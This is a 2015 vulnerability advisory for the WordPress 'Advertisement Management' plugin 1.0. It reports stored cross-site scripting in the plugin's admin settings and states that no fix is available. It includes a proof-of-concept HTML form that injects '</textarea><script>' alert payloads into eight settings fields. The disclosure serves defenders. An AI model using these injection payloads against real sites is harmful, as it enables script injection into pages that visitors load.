WordPress Advertisement Management plugin version 1.0 suffers from a cross site scripting vulnerability.
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Title: WordPress 'Advertisement Management' Plugin
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/advertisement-management/
- https://plugins.svn.wordpress.org/advertisement-management/
Notified WordPress: 2015-06-21
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## Plugin description
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Advertisement Management lets you administrate all the blog advertisements diretctly from the blog backend.
## XSS/CSRF vulnerabilities
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The settings on the admin page is vulnerable to XSS.
PoC:
Log in as admin and submit the this form
<form method="POST" action="[URL]/wp-admin/options-general.php?page=Advertising_page&action=update">
<input type="text" name="Advertising_front_page" value="</textarea><script>alert(1)</script>"><br />
<input type="text" name="Advertising_single_top" value="</textarea><script>alert(2)</script>"><br />
<input type="text" name="Advertising_single_bottom" value="</textarea><script>alert(3)</script>"><br />
<input type="text" name="Advertising_page_top" value="</textarea><script>alert(4)</script>"><br />
<input type="text" name="Advertising_page_bottom" value="</textarea><script>alert(5)</script>"><br />
<input type="text" name="Advertising_below_commentbox" value="</textarea><script>alert(6)</script>"><br />
<input type="text" name="Advertising_blog_top" value="</textarea><script>alert(7)</script>"><br />
<input type="text" name="Advertising_below_footer" value="</textarea><script>alert(8)</script>"><br />
<input type="submit">
</form>
After having done this, some of the injected scripts will be executed when loading the front page of the site.
## Solution
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No fix available
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XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.